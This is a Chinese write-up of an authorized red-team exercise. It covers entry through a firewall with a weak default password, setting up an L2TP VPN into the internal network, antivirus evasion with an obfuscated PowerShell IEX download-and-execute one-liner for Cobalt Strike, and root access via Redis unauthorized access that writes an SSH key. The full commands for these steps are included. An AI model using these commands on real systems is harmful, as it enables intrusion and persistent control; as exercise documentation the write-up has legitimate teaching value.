一次攻防演练简单记录
2023-4-21 13:56:17 Author: www.freebuf.com(查看原文) 阅读量:13 收藏

声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

记录一下某次经授权的攻防演练。主要是利用边界设备(防火墙之类的)搭建vpn和Redis未授权写SSH公钥之前没怎么遇到过,现在复盘记录下~

信息收集+打点

众所周知攻防演练中拿到目标后的第一件事就是打点,这是一个尽可能多的收集关于目标网络信息以找到目标系统薄弱点的过程。

常见的包括端口扫描、whois查询,子域名收集等等方式,就不再一一详述了。

这里直接交代信息收集后的成果:某几个无法深入利用的注入+几个弱口令,包括一台防火墙弱口令admin/123456。

别问这些东西怎么来的,问就是hunter。

图片

搭建vpn隧道

现在拿到了防火墙弱口令,可以考虑用它来搭建VPN进入目标内网。

VPN功能的实用性毋庸置疑,公司总部与分部之间搭建安全隧道来实现内网资源的安全共享等需求都可以通过VPN来实现。与路由器配置方法的不同之处在于防火墙不仅需要进行VPN相关配置,还需要开放VPN相关的安全策略。

防火墙在使用设备本身的某个功能时,首先要开启对应功能,其次是考虑下该功能要实现所需要开放的服务或者权限,以VPN为例,在设置好VPN以后需要开放的服务或权限包括:允许外网设备与防火墙建立VPN、允许外网访问内网服务器、允许外网通过防火墙进行代理上网等。

图片

以该型防火墙为例,描述具体搭建步骤

  • • • 首先要在“网络-接口”中,查看通互联网ip的网卡,这里是ethernet0/8

图片

  • • • 在“网络-VPN-L2TP VPN”中,配置一个L2TP VPN 实例,名称自填,AAA服务器选local即可,然后点击下一步

图片

  • • • 在“接口/地址池/IPSec”中选择网络出接口为刚才通互联网的网卡

图片

然后依次配置隧道接口和地址池。隧道接口名称和描述自定,安全域选择“VPNhub”,然后配置一个内网没有被占用的静态ip,作用类似于VPN的网关

图片

  • • • 在地址池中配置起止和终止ip,注意要跟刚才的静态ip相对应,在同一个网段里;名称自定义

图片

  • • • 然后选择高级选项,把PPP认证设为任意

图片

  • • • 最后一步,在“对象-用户中”新建一个vpn账户,然后下载VPN客户端就可以连接目标内网了

图片

寻找跳板机

进入目标内网后,首先想探测一下哪些网段可以利用,然后寻找一台跳板机。Tscan扫描完后,发现内网资产还可以,尤其是有几台shiro反序列化的机器,而且还出网,刚好可以上线CS用来做权限维持

图片

不幸的是,有杀软

图片

不过这个也好办。这里有个使用powershell框架生成CS上线payload的脚本,原本是从互联网上下载的,不过现在我找不到原项目地址了,但还是要感谢作者~ 使用方法也很简单

.\powershell-obfuscation.ps1 -c "whoami"

来混淆命令 obfuscates command

.|powershell-obfuscation.ps1 -f "filename"

来混淆指定的文件(绝对路径) 对于当前机器上遇到的杀软来说,生成落地执行的脚本已经不起作用了

图片

但是可以直接混淆cs的iex下载一句话IEX ((new-object net.webclient).downloadstring('http://ip:port/a')来直接cmd不落地执行脚本中的内容。

.\powershell-obfuscation.ps1 -c "IEX ((new-object net.webclient).downloadstring('http://****/a'))"

图片图片

然后直接复制文档中的内容执行即可

图片

administer权限上线,至此已找到一台跳板机。接下来就是内网系统横向、寻找靶标

寻找靶标

拿下靶标服务器给分10k,直接找靶标试试 对靶标进行全端口扫描后,发现开放了6379端口且存在Redis未授权。这是当时报告里的截图,其他记录没留存。。。

图片

通过Redis未授权写ssh公钥获取服务器root权限

图片

因为是攻防演练期间的靶标,现在也没法连了,直接用靶机搭一个环境复现

  • • • Redis未授权写ssh公钥获取服务器root权限 原理:在数据库中插入一条数据,将本机的公钥作为value,key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。在攻击机中生成ssh公钥和私钥,密码设置为空:ssh-keygen -t rsa

图片

进入.ssh目录:

cd .ssh/

将生成的公钥保存到1.txt:

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt

图片

然后将公钥文本上传到靶机写入Redis并设置Redis的备份路径为设置/root/.ssh/

cat /root/.ssh/1.txt | redis-cli -h **** -x set pub   #上传公钥sudo redis-cli -h **** # 通过redis-cli 服务连接靶机CONFIG GET dir # 使用 CONFIG GET dir 查看Redis的备份路径CONFIG SET dir /root/.ssh/ # 更改redis备份路径为ssh公钥存放目录CONFIG SET dbfilename authorized_keys # 设置上传公钥的备份文件名字为authorized_keys

图片

至此成功写入ssh公钥到靶机。测试ssh免密登录拿下靶标

ssh -i id_rsa [email protected]

图片

其他

拿下靶标后,其他内网横向就是直接对照着Tscan的扫描结果去验证了,毕竟攻防演练时间有限,在保证成果的前提下能节约时间就尽快一些。(打个广告:Tscan现在新增了很多如通用漏洞RCE、注入之类的poc,对标攻防演练中的评分规则,另外针对Intel和Mac芯片架构生成了不同的版本,还是很好用的~具体获取方式见团队星球)


文章来源: https://www.freebuf.com/articles/web/364339.html
如有侵权请联系:admin#unsafe.sh